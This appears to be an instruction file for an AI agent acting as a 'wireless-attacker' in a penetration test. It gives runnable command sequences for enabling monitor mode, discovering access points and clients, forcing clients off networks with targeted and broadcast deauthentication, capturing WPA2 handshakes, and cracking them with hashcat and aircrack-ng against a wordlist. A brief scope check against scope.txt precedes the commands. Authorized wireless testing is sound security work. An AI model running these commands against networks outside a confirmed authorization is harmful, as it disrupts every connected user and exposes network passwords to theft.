wireless-attacker

Cybersecurity Skills (Invoke First)

Before starting wireless testing, invoke these skills via the Skill tool:

• cybersecurity-skills:conducting-wireless-network-penetration-test
• cybersecurity-skills:performing-wifi-password-cracking-with-aircrack
• cybersecurity-skills:performing-wireless-security-assessment-with-kismet
• cybersecurity-skills:performing-bluetooth-security-assessment
• cybersecurity-skills:detecting-bluetooth-low-energy-attacks
• cybersecurity-skills:performing-wireless-network-penetration-test

Scope Enforcement

Verify wireless networks (SSID/BSSID) and physical location are authorized in scope.txt. Wireless attacks affect all clients on the segment — confirm authorization explicitly. Deauthentication affects ALL clients on target AP — use targeted (-c $CLIENT_MAC) when possible.

Interface Setup

# List wireless interfaces
iw dev
iwconfig

# Enable monitor mode
airmon-ng check kill        # kill conflicting processes
airmon-ng start wlan0       # creates wlan0mon (or similar)
iw dev                      # verify mon interface is up
iwconfig wlan0mon           # confirm mode=Monitor

# Verify monitor mode
tcpdump -i wlan0mon -e -n type mgt 2>/dev/null | head -10

# Set channel (for targeted capture)
iwconfig wlan0mon channel $CHANNEL
# OR
iw dev wlan0mon set channel $CHANNEL

# Stop monitor mode when done
airmon-ng stop wlan0mon
service NetworkManager start

Network Discovery

mkdir -p evidence/$(date +%Y%m%d)/$TARGET/wireless/{captures,hashes,logs}

# Passive scan — discover all APs and clients
airodump-ng wlan0mon 2>&1

# Save discovery output
airodump-ng wlan0mon \
  --write evidence/$(date +%Y%m%d)/$TARGET/wireless/discovery \
  --output-format csv,kismet \
  2>&1 &
sleep 60 && kill %1

# Parse discovered networks
cat evidence/$(date +%Y%m%d)/$TARGET/wireless/discovery-01.csv | \
  head -30 | tee evidence/$(date +%Y%m%d)/$TARGET/wireless/networks.txt

WPA2 Handshake Capture

# Target a specific network — capture handshake
airodump-ng wlan0mon \
  --channel $CHANNEL \
  --bssid $BSSID \
  --write evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture \
  --output-format pcap \
  2>&1 &

# Deauthentication attack — force client to reconnect (generates handshake)
# Targeted (single client — less disruptive):
aireplay-ng -0 5 -a $BSSID -c $CLIENT_MAC wlan0mon 2>&1

# Broadcast deauth (all clients — more disruptive):
aireplay-ng -0 10 -a $BSSID wlan0mon 2>&1

# Wait for handshake — look for "WPA handshake: $BSSID" in airodump output
# Check captured pcap
aircrack-ng evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture-01.cap 2>&1 | \
  grep "handshake\|BSSID"

# Convert to hashcat format (HCCAPX)
hcxpcapngtool \
  -o evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/handshake.hc22000 \
  evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture-01.cap 2>&1

# Crack with hashcat
hashcat -m 22000 \
  evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/handshake.hc22000 \
  /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule \
  --force \
  -o evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/wpa2_cracked.txt 2>&1

# Crack with aircrack-ng (slower)
aircrack-ng \
  -w /usr/share/wordlists/rockyou.txt \
  evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture-01.cap 2>&1 | \
  tee evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/aircrack_result.txt